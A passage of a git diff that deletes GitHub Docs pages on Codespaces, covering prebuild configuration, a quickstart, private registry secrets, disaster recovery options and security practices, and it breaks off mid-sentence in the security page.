%}.](/assets/images/help/codespaces/prebuilds-log-output.png) - -Alternatively, to view all prebuild workflow runs associated with the specified branch, select the {% octicon "kebab-horizontal" aria-label="options" %} dropdown menu and click **View runs**. - -![Screenshot of the options dropdown menu for a configuration, shown by clicking a button labeled with three dots. The "View runs" option is selected.](/assets/images/help/codespaces/prebuilds-view-runs.png) - -This displays the workflow run history for prebuilds for the associated branch. - -![Screenshot of the "Codespaces Prebuilds" list showing a run history for prebuild workflows.](/assets/images/help/codespaces/prebuilds-workflow-runs.png) - -## Editing a prebuild configuration - -1. On the {% data variables.product.prodname_codespaces %} page of your repository settings, click the ellipsis to the right of the prebuild configuration you want to edit. -1. In the dropdown menu, click **Edit**. - - ![Screenshot of the options dropdown menu for a configuration, displayed by clicking a button labeled with three dots. The "Edit" option is selected.](/assets/images/help/codespaces/prebuilds-edit.png) - -1. Make the required changes to the prebuild configuration, then click **Update**. - - {% data reusables.codespaces.prebuilds-permission-authorization %} - -## Disabling a prebuild configuration - -To pause the update of prebuilds for a configuration, you can disable workflow runs for the configuration. Disabling the workflow runs for a prebuild configuration does not delete any previously created prebuilds for that configuration and, as a result, codespaces will continue to be generated from an existing prebuild. - -Disabling the workflow runs for a prebuild configuration is useful if you need to investigate prebuild creation failures. - -1. On the {% data variables.product.prodname_codespaces %} page of your repository settings, click the ellipsis to the right of the prebuild configuration you want to disable. -1. In the dropdown menu, click **Disable runs**. - - ![Screenshot of the prebuild configuration dropdown menu, shown by clicking a button labeled with three dots. The "Disable runs" option is selected.](/assets/images/help/codespaces/prebuilds-disable.png) - -1. To confirm that you want to disable this configuration, click **OK**. - -## Deleting a prebuild configuration - -> [!NOTE] -> You can find a list of the repositories that contain a prebuild by obtaining a copy of your “[usage report](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage).” - -Deleting a prebuild configuration also deletes all previously created prebuilds for that configuration. As a result, shortly after you delete a configuration, prebuilds generated by that configuration will no longer be available when you create a new codespace. - -After you delete a prebuild configuration, workflow runs for that configuration that have been queued or started will still run. They will be listed in the workflow run history, along with previously completed workflow runs. - -1. On the {% data variables.product.prodname_codespaces %} page of your repository settings, click the ellipsis to the right of the prebuild configuration you want to delete. -1. In the dropdown menu, click **Delete**. - - ![Screenshot of the prebuild configuration dropdown menu, displayed by clicking a button labeled with three dots. The "Delete" option is selected.](/assets/images/help/codespaces/prebuilds-delete.png) - -1. Click **OK** to confirm the deletion. - -## Manually trigger prebuilds - -It may be useful to manually trigger a workflow run for a prebuild configuration. Generally, this is only necessary if you are debugging a problem with the workflow for a prebuild configuration. - -1. On the {% data variables.product.prodname_codespaces %} page of your repository settings, click the ellipsis to the right of the prebuild configuration whose workflow you want to trigger. -1. In the dropdown menu, click **Manually trigger**. - - ![Screenshot of the prebuild configuration dropdown menu, shown by clicking a button labeled with three dots. The "Manually trigger" option is selected.](/assets/images/help/codespaces/prebuilds-manually-trigger.png) - -## Further reading - -* [AUTOTITLE](/codespaces/troubleshooting/troubleshooting-prebuilds) diff --git a/content/codespaces/prebuilding-your-codespaces/testing-dev-container-changes.md b/content/codespaces/prebuilding-your-codespaces/testing-dev-container-changes.md deleted file mode 100644 index 1aad9a279825..000000000000 --- a/content/codespaces/prebuilding-your-codespaces/testing-dev-container-changes.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Testing dev container configuration changes on a prebuild-enabled branch -shortTitle: Test dev container changes -allowTitleToDifferFromFilename: true -intro: 'When you change the dev container configuration for a branch that''s enabled for prebuilds, you should test your changes in a codespace.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Set up -permissions: People with write permissions to a repository can create or edit the dev container configuration for a branch. ---- - -Any changes you make to the dev container configuration for a prebuild-enabled branch will result in an update to the codespace configuration and the associated prebuild. It’s therefore important to test such changes in a codespace from a test branch before committing your changes to a branch of your repository that's actively used. This will ensure you’re not introducing breaking changes for your team. - -For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -## Testing changes to the dev container configuration - -1. Create a codespace from the prebuild-enabled branch whose dev container you want to change. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). -1. In the codespace, check out a test branch. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/using-source-control-in-your-codespace#creating-or-switching-branches). -1. Make the required changes to the dev container configuration. -1. Apply the changes by rebuilding the container. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace). -1. After everything looks good, we also recommend creating a new codespace from your test branch to ensure everything is working. You can then commit your changes to your repository's default branch or an active feature branch, triggering an update of the prebuild for that branch. - - > [!NOTE] - > Creating this codespace will take longer than usual because it will not be created from a prebuild. diff --git a/content/codespaces/quickstart.md b/content/codespaces/quickstart.md deleted file mode 100644 index ef930ed304a4..000000000000 --- a/content/codespaces/quickstart.md +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Quickstart for GitHub Codespaces -shortTitle: Quickstart -intro: 'Get started with {% data variables.product.prodname_github_codespaces %} quickly.' -allowTitleToDifferFromFilename: true -redirect_from: - - /codespaces/codespaces-reference/about-codespaces - - /github/developing-online-with-github-codespaces/about-github-codespaces - - /github/developing-online-with-codespaces/about-codespaces - - /codespaces/getting-started-with-codespaces/about-codespaces - - /codespaces/getting-started/quickstart -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces ---- - -{% ifversion ghec %} - -{% data reusables.codespaces.data-residency-availability %} - -{% endif %} - -## Introduction - -In this guide, you'll create a codespace from a template repository and explore some of the essential features available to you within the codespace. You'll work in the browser version of {% data variables.product.prodname_vscode %}, which is initially the default editor for {% data variables.product.prodname_github_codespaces %}. After trying out this quickstart you can use {% data variables.product.prodname_codespaces %} in other editors, and you can change the default editor. Links are provided at the end of this guide. - -From this quickstart, you'll learn how to create a codespace, connect to a forwarded port to view your running application, publish your codespace to a new repository, and personalize your setup with extensions. - -For more information on exactly how {% data variables.product.prodname_github_codespaces %} works, see the companion guide [AUTOTITLE](/codespaces/about-codespaces/deep-dive). - -## Creating your codespace - -1. Navigate to the [github/haikus-for-codespaces](https://github.com/github/haikus-for-codespaces) template repository. -{% data reusables.codespaces.use-this-template %} - -## Running the application - -Once your codespace is created, the template repository will be automatically cloned into it. Now you can run the application and launch it in a browser. - -1. When the terminal becomes available, enter the command `npm run dev`. This example uses a Node.js project, and this command runs the script labeled "dev" in the `package.json` file, which starts up the web application defined in the sample repository. - - ![Screenshot of the Terminal in {% data variables.product.prodname_vscode_shortname %} with the "npm run dev" command entered.](/assets/images/help/codespaces/codespaces-npm-run-dev.png) - - If you're following along with a different application type, enter the corresponding start command for that project. - -1. When your application starts, the codespace recognizes the port the application is running on and displays a pop-up message to let you know that the port has been forwarded. - - ![Screenshot of the pop-up message: "Your application running on port 3000 is available." Below this is a green button, labeled "Open in Browser."](/assets/images/help/codespaces/quickstart-port-toast.png) - -1. Click **Open in Browser** to view your running application in a new tab. - -## Edit the application and view changes - -1. Switch back to your codespace and open the `haikus.json` file by clicking it in the Explorer. - -1. Edit the `text` field of the first haiku to personalize the application with your own haiku. - -1. Go back to the running application tab in your browser and refresh to see your changes. - - {% octicon "light-bulb" aria-hidden="true" %} If you've closed the browser tab, click the Ports tab in {% data variables.product.prodname_vscode_shortname %}, hover over the **Local Address** value for the running port, and click the **Open in Browser** icon. - - ![Screenshot of the "Ports" panel. The "Ports" tab and a globe icon, which opens the forwarded port in a browser, are highlighted with orange outlines.](/assets/images/help/codespaces/quickstart-forward-port.png) - -## Committing and pushing your changes - -Now that you've made a few changes, you can use the integrated terminal or the source view to publish your work to a new repository. - -{% data reusables.codespaces.source-control-activity-bar %} -1. To stage your changes, click {% octicon "plus" aria-label="Stage Changes" %} next to the `haikus.json` file, or next to **Changes** if you've changed multiple files and you want to stage them all. - - ![Screenshot of the "Source control" side bar with the staging button (a plus sign), to the right of "Changes," highlighted with a dark orange outline.](/assets/images/help/codespaces/codespaces-commit-stage.png) - -1. To commit your staged changes, type a commit message describing the change you've made, then click **Commit**. - - ![Screenshot of the "Source control" side bar. The commit message, "Change haiku text and styles," and the "Commit" button are outlined in orange.](/assets/images/help/codespaces/vscode-commit-button.png) - -1. Click **Publish Branch**. - - ![Screenshot of the "Source control" side bar showing the "Publish Branch" button.](/assets/images/help/codespaces/vscode-publish-branch-button.png) - -1. In the "Repository Name" dropdown, type a name for your new repository, then select **Publish to {% data variables.product.prodname_dotcom %} private repository** or **Publish to {% data variables.product.prodname_dotcom %} public repository**. - - ![Screenshot of the repository name dropdown in {% data variables.product.prodname_vscode_shortname %}. Two options are shown, for publishing to a private or a public repository.](/assets/images/help/codespaces/choose-new-repository.png) - - The owner of the new repository will be the {% data variables.product.prodname_dotcom %} account with which you created the codespace. -1. In the pop-up that appears in the lower right corner of the editor, click **Open on {% data variables.product.prodname_dotcom %}** to view the new repository on {% data variables.product.github %}. In the new repository, view the `haikus.json` file and check that the change you made in your codespace has been successfully pushed to the repository. - - ![Screenshot of a confirmation message for a successfully published repository, showing the "Open on {% data variables.product.prodname_dotcom %}" button.](/assets/images/help/codespaces/open-on-github.png) - -## Personalizing with an extension - -When you connect to a codespace using the browser, or the {% data variables.product.prodname_vscode %} desktop application, you can access the {% data variables.product.prodname_vscode %} Marketplace directly from the editor. For this example, you'll install a {% data variables.product.prodname_vscode_shortname %} extension that alters the theme, but you can install any extension that's useful for your workflow. - -1. In the Activity Bar, click the Extensions icon. - - ![Screenshot of the Activity Bar. The Extensions icon is highlighted with an orange outline.](/assets/images/help/codespaces/extensions-activity-bar-icon.png) - -1. In the search bar, type `fairyfloss` and click **Install**. - - ![Screenshot of "Extensions: Marketplace". The search box shows "fairyfloss." The results show the "fairyfloss" extension with an "Install" button.](/assets/images/help/codespaces/add-extension.png) - -1. Select the `fairyfloss` theme by selecting it from the list. - - ![Screenshot of the "Select Color Theme" dropdown, with the "fairyfloss" theme selected.](/assets/images/help/codespaces/fairyfloss.png) - -### About Settings Sync - -You can enable Settings Sync to sync extensions and other settings across devices and instances of {% data variables.product.prodname_vscode_shortname %}. {% data reusables.codespaces.about-settings-sync %} For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account#settings-sync). - -## Next steps - -You've successfully created, personalized, and run your first application within a codespace but there's so much more to explore! Here are some helpful resources for taking your next steps with {% data variables.product.prodname_github_codespaces %}. - -* [AUTOTITLE](/codespaces/about-codespaces/deep-dive): This quickstart presented some of the features of {% data variables.product.prodname_github_codespaces %}. The deep dive looks at these areas from a technical standpoint. -* [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration): These guides provide information on setting up your repository to use {% data variables.product.prodname_github_codespaces %} with specific languages. -* [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers): This guide provides details on creating a custom configuration for {% data variables.product.prodname_codespaces %} for your project. - -## Further reading - -* [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization) -* [AUTOTITLE](/codespaces/developing-in-a-codespace/using-github-codespaces-in-visual-studio-code) -* [AUTOTITLE](/codespaces/developing-in-a-codespace/using-github-codespaces-with-github-cli) -* [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-default-editor-for-github-codespaces). -* [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization) diff --git a/content/codespaces/reference/allowing-your-codespace-to-access-a-private-registry.md b/content/codespaces/reference/allowing-your-codespace-to-access-a-private-registry.md deleted file mode 100644 index 5774ed9d6027..000000000000 --- a/content/codespaces/reference/allowing-your-codespace-to-access-a-private-registry.md +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: Allowing your codespace to access a private registry -intro: 'You can allow {% data variables.product.prodname_github_codespaces %} to access container images or other packages in a private registry.' -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces -redirect_from: - - /codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry - - /codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-registry -shortTitle: Access a private registry ---- - -## About private registries and {% data variables.product.prodname_github_codespaces %} - -A registry is a secure space for storing, managing, and fetching container images or other packages. There are many examples of registries, such as: -* {% data variables.product.company_short %}'s {% data variables.product.prodname_container_registry %}, the Azure Container Registry, and DockerHub for container images -* The {% data variables.product.prodname_npm_registry %} for Node.js packages. - -Certain {% data variables.product.prodname_registry %} registries, including the {% data variables.product.prodname_container_registry %}, can be configured to allow packages to be pulled seamlessly into {% data variables.product.prodname_github_codespaces %} during codespace creation, without having to provide any authentication credentials. - -To access other container image registries, you can create secrets in {% data variables.product.prodname_dotcom %} to store the access details, which will allow {% data variables.product.prodname_github_codespaces %} to access images stored in that registry. - -## Accessing packages stored in registries with granular permissions - -{% data variables.product.prodname_registry %} registries that support granular permissions, including the {% data variables.product.prodname_container_registry %}, provide the easiest way for {% data variables.product.prodname_github_codespaces %} to consume packages. For the list of {% data variables.product.prodname_registry %} registries that support granular permissions and seamless {% data variables.product.prodname_github_codespaces %} access, see [AUTOTITLE](/packages/learn-github-packages/about-permissions-for-github-packages#granular-permissions-for-userorganization-scoped-packages). - -### Accessing a package published to the same repository as the codespace - -If you publish a package in the same repository that the codespace is being launched in, you will automatically be able to fetch that package on codespace creation. You won't have to provide any additional credentials, unless the **Inherit access from repo** option was unselected when the package was published. - -#### Inheriting access from the repository from which a package was published - -By default, the package inherits the access setting of the repository from which it was published. For example, if the repository is public, the package is also public. If the repository is private, the package is also private, but is accessible from the repository. - -This behavior is controlled by the **Inherit access from repo** option. **Inherit access from repo** is selected by default when publishing via {% data variables.product.prodname_actions %}, but not when publishing directly to a registry using a {% data variables.product.pat_generic %}. - -If the **Inherit access from repo** option was not selected when the package was published, you can manually add the repository to the published package's access controls. For more information, see [AUTOTITLE](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#inheriting-access-for-a-container-image-from-a-repository). - -### Accessing a package published to the organization a codespace will be launched in - -If you want a package to be accessible to all codespaces in an organization, we recommend that you publish the package with internal visibility. This will automatically make the package visible to all codespaces within the organization, unless the repository the codespace is launched from is public. - -If the codespace is being launched from a public repository referencing an internal or private package, you must manually allow the public repository access to the internal package. This prevents the internal package from being accidentally leaked publicly. For more information, see [AUTOTITLE](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package). - -### Accessing a private package from a subset of repositories in an organization - -If you want to allow a subset of an organization's repositories to access a package, or allow an internal or private package to be accessed from a codespace launched in a public repository, you can manually add repositories to a package's access settings. For more information, see [AUTOTITLE](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package). - -### Publishing a package from a codespace - -Seamless access from a codespace to a registry is limited to pulling packages. If you want to publish a package from inside a codespace, you must use a {% data variables.product.pat_v1 %} with the `write:packages` scope. - -We recommend publishing packages via {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/publishing-packages/publishing-docker-images) and [AUTOTITLE](/actions/publishing-packages/publishing-nodejs-packages). - -## Accessing images stored in other registries - -You can define secrets to allow {% data variables.product.prodname_github_codespaces %} to access container image registries other than {% data variables.product.company_short %}'s {% data variables.product.prodname_container_registry %}. If you are accessing a container image from a registry that doesn't support seamless access, {% data variables.product.prodname_github_codespaces %} checks for the presence of three secrets, which define the server name, username, and {% data variables.product.pat_generic %} for a registry. If these secrets are found, {% data variables.product.prodname_github_codespaces %} will make the registry available inside your codespace. - -* `<*>_CONTAINER_REGISTRY_SERVER` -* `<*>_CONTAINER_REGISTRY_USER` -* `<*>_CONTAINER_REGISTRY_PASSWORD` - -You can store secrets at the user, repository, or organization-level, allowing you to share them securely between different codespaces. When you create a set of secrets for a private image registry, you need to replace the "<*>" in the name with a consistent identifier. For more information, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces) and [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/managing-development-environment-secrets-for-your-repository-or-organization). - -If you are setting the secrets at the user or organization level, make sure to assign those secrets to the repository you'll be creating the codespace in by choosing an access policy from the dropdown list. - -<img src="/assets/images/help/codespaces/secret-repository-access.png" alt='Screenshot of the "Repository access" dropdown menu with the options "All repositories," "Private repositories," and "Selected repositories."' style="width:400px;"/> - -### Pulling a Docker image into your codespace - -{% data variables.product.prodname_github_codespaces %} uses Docker, so to pull a private Docker image inside your codespace at runtime, you need to be able to use Docker-in-Docker. To make this possible, the secrets required for login to Docker are automatically added to the `~/.docker/config.json` file within your codespace. This happens after the `onCreateCommand` lifecycle hook but before `postCreateCommand`, `postStartCommand`, and `postAttachCommand`. As a result, `postCreateCommand` will be able to use Docker-in-Docker to pull a Docker image into the codespace, but `onCreateCommand` will not. For this reason, Docker-in-Docker is not available during prebuild creation. - -After the codespace is running you will be able to open a terminal in the codespace and run the command `docker pull PRIVATE-IMAGE-URL`. - -### Example secrets - -For a private image registry in Azure, you could create the following secrets: - -```shell -ACR_CONTAINER_REGISTRY_SERVER = mycompany.azurecr.io -ACR_CONTAINER_REGISTRY_USER = acr-user-here -ACR_CONTAINER_REGISTRY_PASSWORD = <PERSONAL_ACCESS_TOKEN> -``` - -For information on common image registries, see [Common image registry servers](#common-image-registry-servers). Note that accessing AWS Elastic Container Registry (ECR) is different. - -![Screenshot of the "Codespaces secrets" settings for a repository. Three secrets for ACR Container Registry are set.](/assets/images/help/codespaces/codespaces-image-registry-secret-example.png) - -Once you've added the secrets, you may need to stop and then start the codespace you are in for the new environment variables to be passed into the container. For more information, see [AUTOTITLE](/codespaces/reference/using-the-vs-code-command-palette-in-codespaces#suspending-or-stopping-a-codespace). - -#### Accessing AWS Elastic Container Registry - -To access AWS Elastic Container Registry (ECR), you can provide an AWS access key ID and secret key, and {% data variables.product.prodname_dotcom %} can retrieve an access token for you and log in on your behalf. - -```shell -*_CONTAINER_REGISTRY_SERVER = <ECR_URL> -*_CONTAINER_REGISTRY_USER = <AWS_ACCESS_KEY_ID> -*_CONTAINER_REGISTRY_PASSWORD = <AWS_SECRET_KEY> -``` - -You must also ensure you have the appropriate AWS IAM permissions to perform the credential swap (e.g. `sts:GetServiceBearerToken`) as well as the ECR read operation (either `AmazonEC2ContainerRegistryFullAccess` or `ReadOnlyAccess`). - -Alternatively, if you don't want {% data variables.product.prodname_dotcom %} to perform the credential swap on your behalf, you can provide an authorization token fetched via AWS's APIs or CLI. - -```shell -*_CONTAINER_REGISTRY_SERVER = <ECR_URL> -*_CONTAINER_REGISTRY_USER = AWS -*_CONTAINER_REGISTRY_PASSWORD = <TOKEN> -``` - -Since these tokens are short lived and need to be refreshed periodically, we recommend providing an access key ID and secret. - -While these secrets can have any name, so long as the `*_CONTAINER_REGISTRY_SERVER` is an ECR URL, we recommend using `ECR_CONTAINER_REGISTRY_*` unless you are dealing with multiple ECR registries. - -For more information, see AWS ECR's [Private registry authentication documentation](https://docs.aws.amazon.com/AmazonECR/latest/userguide/registry_auth.html). - -### Common image registry servers - -Some of the common image registry servers are listed below: - -* [DockerHub](https://docs.docker.com/engine/reference/commandline/info/) - `https://index.docker.io/v1/` -* [GitHub Container Registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry) - `ghcr.io` -* [Azure Container Registry](https://docs.microsoft.com/azure/container-registry/) - `<registry name>.azurecr.io` -* [AWS Elastic Container Registry](https://docs.aws.amazon.com/AmazonECR/latest/userguide/Registries.html) - `<aws_account_id>.dkr.ecr.<region>.amazonaws.com` -* [Google Cloud Container Registry](https://cloud.google.com/container-registry/docs/overview#registries) - `gcr.io` (US), `eu.gcr.io` (EU), `asia.gcr.io` (Asia) - -## Debugging private image registry access - -If you are having trouble pulling an image from a private image registry, make sure you are able to run `docker login -u <user> -p <password> <server>`, using the values of the secrets defined above. If login fails, ensure that the login credentials are valid and that you have the appropriate permissions on the server to fetch a container image. If login succeeds, make sure that these values are copied appropriately into the right {% data variables.product.prodname_github_codespaces %} secrets, either at the user, repository, or organization level and try again. diff --git a/content/codespaces/reference/disaster-recovery-for-github-codespaces.md b/content/codespaces/reference/disaster-recovery-for-github-codespaces.md deleted file mode 100644 index 4442f1a81251..000000000000 --- a/content/codespaces/reference/disaster-recovery-for-github-codespaces.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Disaster recovery for GitHub Codespaces -intro: 'This article describes guidance for a disaster recovery scenario, when a whole region experiences an outage due to major natural disaster or widespread service interruption.' -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces -shortTitle: Disaster recovery -redirect_from: - - /codespaces/codespaces-reference/disaster-recovery-for-codespaces - - /codespaces/codespaces-reference/disaster-recovery-for-github-codespaces ---- - -We work hard to make sure that {% data variables.product.prodname_github_codespaces %} is always available to you. However, forces beyond our control sometimes impact the service in ways that can cause unplanned service disruptions. - -Although disaster recovery scenarios are rare occurrences, we recommend that you prepare for the possibility that there is an outage of an entire region. If an entire region experiences a service disruption, the locally redundant copies of your data would be temporarily unavailable. - -The following guidance provides options on how to handle service disruption to the entire region where your codespace is deployed. - -> [!NOTE] -> You can reduce the potential impact of service-wide outages by pushing to remote repositories frequently. - -## Option 1: Create a new codespace in another region - -In the case of a regional outage, we suggest you recreate your codespace in an unaffected region to continue working. This new codespace will have all of the changes as of your last push to {% data variables.product.prodname_dotcom %}. For information on manually setting another region, see [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-default-region-for-github-codespaces). - -You can optimize recovery time by configuring a `devcontainer.json` in the project's repository, which allows you to define the tools, runtimes, frameworks, editor settings, extensions, and other configuration necessary to restore the development environment automatically. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -## Option 2: Wait for recovery - -In this case, no action on your part is required. Know that we are working diligently to restore service availability. - -You can check the current service status on the [Status Dashboard](https://www.githubstatus.com/). - -## Option 3: Clone the repository locally or edit in the browser - -While {% data variables.product.prodname_github_codespaces %} provides the benefit of a pre-configured developer environment, your source code should always be accessible through the repository hosted on {% data variables.product.github %}. In the event of a {% data variables.product.prodname_github_codespaces %} outage, you can still clone the repository locally or edit files in the {% data variables.product.company_short %} browser editor. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-files/editing-files). - -While this option does not configure a development environment for you, it will allow you to make changes to your source code as needed while you wait for the service disruption to resolve. - -## Option 4: Use the Dev Containers extension and Docker for a local containerized environment - -If your repository has a `devcontainer.json`, consider using the [Dev Containers extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers) in {% data variables.product.prodname_vscode %} to build and attach to a local development container for your repository. The setup time for this option will vary depending on your local specifications and the complexity of your dev container setup. For more information, see [Developing inside a container](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -> [!NOTE] -> Be sure your local setup meets the [minimum requirements](https://code.visualstudio.com/docs/remote/containers#_system-requirements) before attempting this option. diff --git a/content/codespaces/reference/index.md b/content/codespaces/reference/index.md deleted file mode 100644 index dc25d253d4c0..000000000000 --- a/content/codespaces/reference/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Reference -intro: 'This section contains references that will allow you to be successful with {% data variables.product.prodname_github_codespaces %}' -versions: - fpt: '*' - ghec: '*' -children: - - /allowing-your-codespace-to-access-a-private-registry - - /using-github-copilot-in-github-codespaces - - /using-the-vs-code-command-palette-in-codespaces - - /security-in-github-codespaces - - /disaster-recovery-for-github-codespaces -redirect_from: - - /codespaces/codespaces-reference ---- diff --git a/content/codespaces/reference/security-in-github-codespaces.md b/content/codespaces/reference/security-in-github-codespaces.md deleted file mode 100644 index 4853b84b4ce7..000000000000 --- a/content/codespaces/reference/security-in-github-codespaces.md +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Security in GitHub Codespaces -intro: 'Overview of the {% data variables.product.prodname_github_codespaces %} security architecture, with guidelines to help you maintain security and minimize the risk of attack.' -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces - - Security -type: reference -shortTitle: Security in Codespaces -redirect_from: - - /codespaces/codespaces-reference/security-in-codespaces - - /codespaces/codespaces-reference/security-in-github-codespaces ---- - -## Overview of codespace security - -{% data variables.product.prodname_github_codespaces %} is designed to be security hardened by default. Consequently, you will need to ensure that your software development practices do not risk reducing the security posture of your codespace. - -This guide describes the way {% data variables.product.prodname_github_codespaces %} keeps your development environment secure and provides some of the good practices that will help maintain your security as you work. As with any development tool, remember that you should only open and work within repositories you know and trust. - -### Environment isolation - -{% data variables.product.prodname_github_codespaces %} is designed to keep your codespaces separate from each other, with each using its own virtual machine and network. - -#### Isolated virtual machines - -Each codespace is hosted on its own newly-built virtual machine (VM). Two codespaces are never co-located on the same VM. - -Every time you restart a codespace, it's deployed to a new VM with the latest available security updates. - -#### Isolated networking - -Each codespace has its own isolated virtual network. We use firewalls to block incoming connections from the internet and to prevent codespaces from communicating with each other on internal networks. Codespaces are allowed to make outbound connections to the internet. - -### Authentication - -You can connect to a codespace using a web browser or from {% data variables.product.prodname_vscode %}. If you connect from {% data variables.product.prodname_vscode_shortname %}, you are prompted to authenticate with {% data variables.product.github %}. - -Every time a codespace is created or restarted, it's assigned a new {% data variables.product.company_short %} token with an automatic expiry period. This period allows you to work in the codespace without needing to reauthenticate during a typical working day, but reduces the chance that you will leave a connection open when you stop using the codespace. - -The token's scope will vary depending on the access you have to the repository where the codespace was created: - -* **If you have write access to the repository:** The token will be scoped for read/write access to the repository. -* **If you only have read access to the repository:** The token will only allow the code to be cloned from the source repository. If you make a commit in the codespace, or push a new branch, {% data variables.product.prodname_github_codespaces %} automatically creates a fork of the repository, or links the codespace to an existing fork if you already have one for the upstream repository. The token is updated to have read and write access to the fork. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/using-source-control-in-your-codespace#about-automatic-forking). -* **If you've authorized your codespace to access other repositories:** The token will be scoped for read or read/write access to the source repository and to any other repositories to which you've authorized access. For more information, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces#authorizing-requested-permissions). - -### Codespace connections - -You can connect to your codespace using the TLS encrypted tunnel provided by the {% data variables.product.prodname_github_codespaces %} service. Only the creator of a codespace can connect to a codespace. Connections are authenticated with {% data variables.product.github %}. - -If you need to allow external access to services running on a codespace, you can enable port forwarding for private or public access. - -### Port forwarding - -If you need to connect to a service (such as a development web server) running within your codespace, you can configure port forwarding to make the service available on the internet. - -Organization owners can restrict the ability to make forward ports available publicly or within the organization. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports). - -**Privately forwarded ports:** Are accessible on the internet, but only the codespace creator can access them, after authenticating to {% data variables.product.github %}. - -**Publicly forwarded ports within your organization:** Are accessible on the internet, but only to members of the same organization as the codespace, after authenticating to {% data variables.product.github %}. - -**Publicly forwarded ports:** Are accessible on the internet, and anyone on the internet can access them. No authentication is needed to access public forwarded ports. - -All forwarded ports are private by default, which means that you will need to authenticate before you can access the port. Access to a codespace's private forwarded ports is controlled by authentication cookies with a 3-hour expiry period. When the cookie expires, you will need to reauthenticate. - -A public forwarded port will automatically revert back to private when you remove and re-add the port, or if you restart the codespace. - -You can use the "Ports" panel to configure a port for public or private access, and can stop port forwarding when it's no longer required. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/forwarding-ports-in-your-codespace). - -## Good security practices for your codespaces - -Codespaces are designed to be security hardened by default. To help maintain this posture, we recommend that you follow good security practices during your development procedures: - -* As with any development tool, remember that you should only open and work within repositories you know and trust. -* Before you add new dependencies to the codespace, check whether they are well-maintained, and if they release updates to fix any security vulnerabilities found in their code. - -### Using development environment secrets to access sensitive information - -Always use development environment secrets when you want to use sensitive information (such as access tokens) in a codespace. You can access your secrets as environment variables in the codespace, including from the terminal. For example, you can launch a terminal within your codespace and use `echo $SECRET_NAME` to see the value of a development environment secret. - -The secret values are copied to environment variables whenever the codespace is resumed or created and are also synced when they are changed. - -Development environment secrets are not copied into the environment if you don't have write access to the codespace's repository. - -For more information on secrets, see: -* [AUTOTITLE](/codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces) -* [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/managing-development-environment-secrets-for-your-repository-or-organization) - -### Working with other people's contributions and repositories - -When you create a codespace from a PR branch from a fork, the token in the codespace will vary depending on whether the repository is public or private: -* For a private repository, the codespace is granted access to both the fork and parent. -* For a public repository, the codespace will only have access to the fork and opening PRs on the parent. - -We also further protect you in these scenarios by not injecting any of your codespace secrets into the environment. For more information, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces). - -> [!NOTE] -> The scope of the token in the codespace can change if you create a codespace from a fork to which you only have read access, then make a commit or push a new branch in the codespace. In this situation, as with any other repository, {% data variables.product.prodname_github_codespaces %} automatically creates a new fork, or links your codespace to an existing fork owned by your account, and updates the token to have read and write access to the newly linked fork. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/using-source-control-in-your-codespace#about-automatic-forking). -> -> When {% data variables.product.prodname_github_codespaces %} links your codespace to an existing fork, this existing fork can be either a fork of the fork from which you created a codespace, or your own fork of the shared upstream repository. - -### Additional good practices - -There are some additional good practices and risks that you should be aware of when using {% data variables.product.prodname_github_codespaces %}. - -#### Understanding a repository's devcontainer.json file - -When you create a codespace, if a `devcontainer.json` file is found for your repository, it is parsed and used to configure your codespace. The `devcontainer.json` file can 